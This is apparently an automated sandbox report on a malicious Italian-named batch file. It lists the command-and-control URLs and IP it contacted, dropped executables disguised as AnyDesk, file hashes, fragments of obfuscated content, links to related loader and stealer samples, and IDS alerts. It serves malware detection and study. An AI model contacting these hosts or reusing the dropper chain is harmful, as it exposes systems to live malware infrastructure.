https://vandeytas.ru.com/233_Hlvzmhuinffv4	0%	Avira URL Cloud	safe
https://vandeytas.ru.com:443/233_Hlvzmhuinffvandeytas.ru.comvandeytasr	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffL	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/5	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinff	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/-	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/7000	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffY	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffLLI	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/E	0%	Avira URL Cloud	safe
https://vandeytas.ru.com:443/233_Hlvzmhuinff	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/ww.vU	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlv	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffT	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/8g	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffM	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vandeytas.ru.com	50.7.187.218	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://vandeytas.ru.com/233_Hlvzmhuinff	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP	kn.exe, 00000006.00000000.1699078959.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1702405563.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1704266482.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1716584582.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr	false		high
https://login.microsoftonline.com/%s/oauth2/authorize	kn.exe	false		high
https://vandeytas.ru.com/233_Hlvzmhuinffg	AnyDesk.PIF, 00000009.00000002.2940156410.000000000091E000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2916840538.000000000091C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_Hlvzmhuinffj	AnyDesk.PIF, 00000009.00000003.2460677716.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/%s/oauth2/token	kn.exe	false		high
https://vandeytas.ru.com/U	AnyDesk.PIF, 00000009.00000003.2026067126.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2048349573.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_Hlvzmhuinffc	AnyDesk.PIF, 00000009.00000003.2460677716.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2940156410.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2048222769.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2136254211.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2504432392.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2308408762.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/M	AnyDesk.PIF, 00000009.00000003.2354511256.0000000000911000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1782604010.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/Qu	AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_HlvzmhuinffLLg	AnyDesk.PIF, 00000009.00000002.2940156410.000000000091E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_Hlvzmhuinff;	AnyDesk.PIF, 00000009.00000002.2940156410.000000000091E000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2916840538.000000000091C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://enterpriseregistration.windows.net/EnrollmentServer/key/	kn.exe	false		high
https://vandeytas.ru.com/233_Hlvzmhuinff/	AnyDesk.PIF, 00000009.00000003.2354387925.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_HlvzmhuinffLL	AnyDesk.PIF, 00000009.00000003.2308408762.000000000092C000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2354387925.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_Hlvzmhuinff1	AnyDesk.PIF, 00000009.00000003.2354387925.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_Hlvzmhuinffq	AnyDesk.PIF, 00000009.00000003.2765080066.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_Hlvzmhuinffv4	AnyDesk.PIF, 00000009.00000003.2916840538.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2765080066.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/	AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com:443/233_Hlvzmhuinffvandeytas.ru.comvandeytasr	AnyDesk.PIF, 00000009.00000003.2916840538.0000000000906000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2612107894.0000000000906000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2765080066.0000000000906000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2940156410.0000000000906000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2460677716.0000000000905000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatah	kn.exe, 00000006.00000000.1699078959.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1702405563.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1704266482.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1716584582.00007FF67C5CE000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr	false		high
https://vandeytas.ru.com/233_HlvzmhuinffL	AnyDesk.PIF, 00000009.00000003.1919870551.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/5	AnyDesk.PIF, 00000009.00000003.2354511256.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/u	AnyDesk.PIF, 00000009.00000003.2026067126.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1782604010.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vandeytas.ru.com/-	AnyDesk.PIF, 00000009.00000003.2026067126.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2048349573.0000000000911000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/m	AnyDesk.PIF, 00000009.00000003.2048349573.0000000000911000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc	kn.exe	false		high
https://vandeytas.ru.com/7000	AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_HlvzmhuinffLLI	AnyDesk.PIF, 00000009.00000003.1919870551.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_HlvzmhuinffY	AnyDesk.PIF, 00000009.00000003.1919870551.000000000092C000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1983981138.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/E	AnyDesk.PIF, 00000009.00000003.2612107894.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com:443/233_Hlvzmhuinff	AnyDesk.PIF, 00000009.00000003.2026067126.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_HlvzmhuinffM	AnyDesk.PIF, 00000009.00000003.2460677716.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2916840538.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2136254211.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pmail.com	AnyDesk.PIF, AnyDesk.PIF, 00000009.00000002.2941867830.00000000029C2000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1720468167.00000000029C8000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2957250885.000000007F9FF000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.1720758818.000000007F880000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2942456888.0000000002B8E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://%ws/%ws_%ws_%ws/service.svc/%ws	kn.exe	false		high
https://enterpriseregistration.windows.net/EnrollmentServer/device/	kn.exe	false		high
https://vandeytas.ru.com/233_Hlv	AnyDesk.PIF, 00000009.00000002.2956191980.000000002094D000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/ww.vU	AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/233_HlvzmhuinffT	AnyDesk.PIF, 00000009.00000002.2940156410.0000000000939000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2916840538.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/8g	AnyDesk.PIF, 00000009.00000003.2048349573.0000000000911000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000003.2136254211.0000000000911000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vandeytas.ru.com/=	AnyDesk.PIF, 00000009.00000003.2916840538.0000000000912000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
50.7.187.218	vandeytas.ru.com	United States		174	COGENT-174US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562927
Start date and time:	2024-11-26 09:37:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Documentazione_Doganale_richieste_di_copia.cmd
Detection:	MAL
Classification:	mal100.bank.troj.evad.winCMD@22/11@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 60 Number of non-executed functions: 204
Cookbook Comments:	Found application associated with file extension: .cmd

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Documentazione_Doganale_richieste_di_copia.cmd

Simulations

Behavior and APIs

Time	Type	Description
03:38:45	API Interceptor	56x Sleep call for process: AnyDesk.PIF modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
50.7.187.218	orig.eml.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	frsdragoz.za.com/OcrwNAZDnF56.bin
	orig.eml.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	frsdragoz.za.com/rXdAJWw196.bin
	3LxMjr9QIE.exe	Get hash	malicious	GuLoader	Browse	nughtofknifes.sa.com/EXuKqCxfBTYzW21.bin
	uzFrAkagaX.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	fwegwr.mypi.co/VkWGOQHXLDVTaJQLdaFnQRmo158.bin
	SARAY_RECEIPT.exe	Get hash	malicious	FormBook, GuLoader	Browse	fwegwr.mypi.co/gzkFUeaICJGODOkRr58.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vandeytas.ru.com	AnyDesk.exe	Get hash	malicious	DBatLoader	Browse	50.7.187.218

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	38.47.233.4
	AnyDesk.exe	Get hash	malicious	DBatLoader	Browse	50.7.187.218
	fbot.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	38.57.189.73
	fbot.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	38.10.97.97
	fbot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	154.42.81.20
	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	38.89.2.58
	ZwmyzMxFKL.exe	Get hash	malicious	BlackMoon	Browse	206.238.43.118
	ZwmyzMxFKL.exe	Get hash	malicious	BlackMoon	Browse	206.238.43.118
	Payment-251124.exe	Get hash	malicious	FormBook	Browse	38.181.21.178
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	154.49.45.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	50.7.187.218
	FHG538JGH835DG86S.doc	Get hash	malicious	Unknown	Browse	50.7.187.218
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	50.7.187.218
	file.exe	Get hash	malicious	LummaC Stealer	Browse	50.7.187.218
	file.exe	Get hash	malicious	Unknown	Browse	50.7.187.218
	EPTMAcgvNZ.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	50.7.187.218
	AWkpqJMxci.exe	Get hash	malicious	Remcos, DBatLoader	Browse	50.7.187.218
	D2pQ4J4GGZ.exe	Get hash	malicious	Remcos, DBatLoader	Browse	50.7.187.218
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	50.7.187.218
	2jbMIxCFsK.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	50.7.187.218

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\alpha.exe	iuhmzvlH.cmd	Get hash	malicious	Unknown	Browse
	USD470900_COPY_800BLHSBC882001.PDF.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	#U00c1raj#U00e1nlat k#U00e9r#U00e9s 12#U00b711#U00b72024#U00b7Pdf.cmd	Get hash	malicious	Unknown	Browse
	#U00c1raj#U00e1nlat k#U00e9r#U00e9s 06.11.2024.cmd	Get hash	malicious	DBatLoader, FormBook	Browse
	TZH3Uk8x45.bat	Get hash	malicious	DBatLoader, PureLog Stealer, XWorm	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	FACTURA.cmd	Get hash	malicious	DBatLoader	Browse
	rPO767575.cmd	Get hash	malicious	DBatLoader	Browse

Created / dropped Files

C:\Users\Public\AnyDesk.jpeg

Process:	C:\Users\Public\kn.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2599938
Entropy (8bit):	3.876063806380312
Encrypted:	false
SSDEEP:	24576:JfAknAtx79WW+D6xeupltkImnd7ewXLSueiC2wq1q4CPcsq8/q7LGtFHaVHtpdMg:F
MD5:	249B8941E9BE56A05F2506BD021F97C0
SHA1:	9719003F93839AA45568CF9AE911DDE3745E1CE6
SHA-256:	43BE45CCA8380F82BFA444FCFC3F36223068F008CF552628CEB26858CEBE8B9B
SHA-512:	420B1741E91984259C8527792E278E9880D842BB27AEED35F16EEACA04F6EA2EC186F3C7273F502CA31B8DB00D5FFA37B6A4E135BC6C57A9B4DEC79E152E7EF8
Malicious:	false
Preview:	4d5a50000200000004000f00ffff0000b80000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ba10000e1fb409cd21b8014ccd219090546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a243700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004c010900195e422a0000000000000000e0008e810b01021900bc050000160e0000000000acd705000010000000e0050000004000001000000002000004000000000000000400000000000000007014000004000000000000020000000000100000400000000010000010000000000000100000000000000000000000003013005e25000000f01300007800000000000000000000000000000000000000801300d064000000000000000000000000000000000000000000000000000000701300180000000000000000000000000000000000000010371300d00500000000000000000000000000000000000000000000

C:\Users\Public\Libraries\AnyDesk.PIF

Process:	C:\Users\Public\kn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1299968
Entropy (8bit):	7.222011374672291
Encrypted:	false
SSDEEP:	24576:Ien4s+Jv82wO5m5jAyTgz1Camim9U/ZxvneUy6/1D+TzxF1Yb:IG+cc5z1CadUUXtSTr
MD5:	BCEEA9753420A675AF68CDA43864438E
SHA1:	0823F156DA4F106A26B5738CF9F732D5DD68CDD8
SHA-256:	B6A6A59C8B8387233BE03BB2111830D4E8AAFEC6A62A290090AE75CBFF5736EC
SHA-512:	8DCD35BE032E853BC785615E63993DEB71FA2EF35A20DB9427C2A281F20EA4768B3754B4887D212CC5867EE36E470D47E33A7333CC9CA0A22196FF8371E51490
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................p...................@...........................0..^%.......x.......................d...........................p.......................7...............................text.............................. ..`.itext.............................. ..`.data...............................@....bss.....6...............................idata..^%...0...&..................@....tls....4....`...........................rdata.......p......................@..@.reloc...d.......f..................@..B.rsrc....x.......x...^..............@..@.............p......................@..@................................................................................................

C:\Users\Public\alpha.exe

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	289792
Entropy (8bit):	6.135598950357573
Encrypted:	false
SSDEEP:	6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
SHA1:	F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
SHA-256:	B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
SHA-512:	99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: iuhmzvlH.cmd, Detection: malicious, Browse Filename: USD470900_COPY_800BLHSBC882001.PDF.bat, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: #U00c1raj#U00e1nlat k#U00e9r#U00e9s 12#U00b711#U00b72024#U00b7Pdf.cmd, Detection: malicious, Browse Filename: #U00c1raj#U00e1nlat k#U00e9r#U00e9s 06.11.2024.cmd, Detection: malicious, Browse Filename: TZH3Uk8x45.bat, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: FACTURA.cmd, Detection: malicious, Browse Filename: rPO767575.cmd, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

C:\Users\Public\kn.exe

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	1651712
Entropy (8bit):	6.144018815244304
Encrypted:	false
SSDEEP:	24576:MeiElH5YZ5cv6r3HiaZQ8p4XGwiJDgN7MaikGLIsWWi4pT/Y/7hsyDAP760MKR:Me3lZYUvmSu4XTckYD0sWWiwT/MhTzK
MD5:	F17616EC0522FC5633151F7CAA278CAA
SHA1:	79890525360928A674D6AEF11F4EDE31143EEC0D
SHA-256:	D252235AA420B91C38BFEEC4F1C3F3434BC853D04635453648B26B2947352889
SHA-512:	3ED65172159CD1BCC96B5A0B41D3332DE33A631A167CE8EE8FC43F519BB3E2383A58737A41D25AA694513A68C639F0563A395CD18063975136DE1988094E9EF7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u}{h1..;1..;1..;..;0..;%w.:2..;%w.:*..;%w.:!..;%w.:...;1..;...;%w.:...;%w.;0..;%w.:0..;Rich1..;................PE..d...+. H.........."..................L.........@....................................q.....`.......... ......................................@Q.......`..@........x..............l'..p5..T...........................`(..............x)......XC.......................text............................... ..`.rdata..T...........................@..@.data....&..........................@....pdata...x.......z...\|..............@..@.didat.......P......................@....rsrc...@....`......................@..@.reloc..l'.......(..................@..B........................................................................................................................................................................................................................

\Device\Null

Process:	C:\Users\Public\alpha.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.403504238247217
Encrypted:	false
SSDEEP:	3:HnRthLK5aTRECUAdROGCOwXWnjTRrGIAOFZRMQcv:HRoAREYTOGjHVF+
MD5:	E14D0D771A7FEB9D78EA3DCA9197BA2A
SHA1:	48E363AAD601D9073D803AA9D224BF9A7FC39119
SHA-256:	0C13A861207709C246F13ACE164529F31F2F91CF14BD37795192D5B37E965BE6
SHA-512:	3460F93FEA31D68E49B1B82EDCB8A2A9FCCE34910DD04DEE7BD7503DB8DAB6D1D5C73CBD2C15156DCB601512AD68DE6FEF7DCB8F8A72A8A0747248B378C17CF9
Malicious:	false
Preview:	The system cannot find message text for message number 0x400023a1 in the message file for Application...

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (468), with CRLF line terminators
Entropy (8bit):	4.949900634415472
TrID:
File name:	Documentazione_Doganale_richieste_di_copia.cmd
File size:	3'584'667 bytes
MD5:	e83eaefa47746764ed0708da11cf890f
SHA1:	5986d2e1da1d6fa42825ae627ee688cac4530fd7
SHA256:	13e2c237c2fa5b146ada50ad1be0be71832e42b745f2bc82daa52558807a7aa6
SHA512:	d69fe44a64af8693c5d15dcc0d3773e3b30da540f90be0ba3addd1bbcf99c26632572f1a4eccf1838ac60da4e0d27b5700a4ebeeac8448f3c822e67399a9d251
SSDEEP:	49152:f6DzaZKYLJqhTLqP8gTM0BiuWSIRbWRIi9b:v
TLSH:	EBF530ABA9AE2685330427FF774FA9084A17DCD52A837FC402C617BCD41A64F1BD09D9
File Content Preview:	@%..%e%.. .. .. ..%c%..%h%........ ........ %o% ..........% %......%o%.......... %f% %f%....%..s%..................... r%e%...%t%.................. ...% %............%"%............%H%... %R%....... ...%T%.......%w%.........o......%=% ......... ..........

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T09:38:48.563344+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	50.7.187.218	443	TCP
2024-11-26T09:38:50.754265+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	50.7.187.218	443	TCP
2024-11-26T09:38:52.954772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	50.7.187.218	443	TCP
2024-11-26T09:38:55.168909+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	50.7.187.218	443	TCP
2024-11-26T09:38:57.281145+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	50.7.187.218	443	TCP
2024-11-26T09:38:59.839817+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	50.7.187.218	443	TCP
2024-11-26T09:39:02.030386+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	50.7.187.218	443	TCP
2024-11-26T09:39:04.491017+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	50.7.187.218	443	TCP
2024-11-26T09:39:06.616914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49752	50.7.187.218	443	TCP
2024-11-26T09:39:08.762801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49755	50.7.187.218	443	TCP
2024-11-26T09:39:10.894037+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49757	50.7.187.218	443	TCP
2024-11-26T09:39:12.993224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49759	50.7.187.218	443	TCP
2024-11-26T09:39:15.086047+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49761	50.7.187.218	443	TCP
2024-11-26T09:39:17.307750+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49763	50.7.187.218	443	TCP
2024-11-26T09:39:19.539915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	50.7.187.218	443	TCP
2024-11-26T09:39:21.686683+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49767	50.7.187.218	443	TCP
2024-11-26T09:39:23.870915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49769	50.7.187.218	443	TCP
2024-11-26T09:39:26.009878+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	50.7.187.218	443	TCP
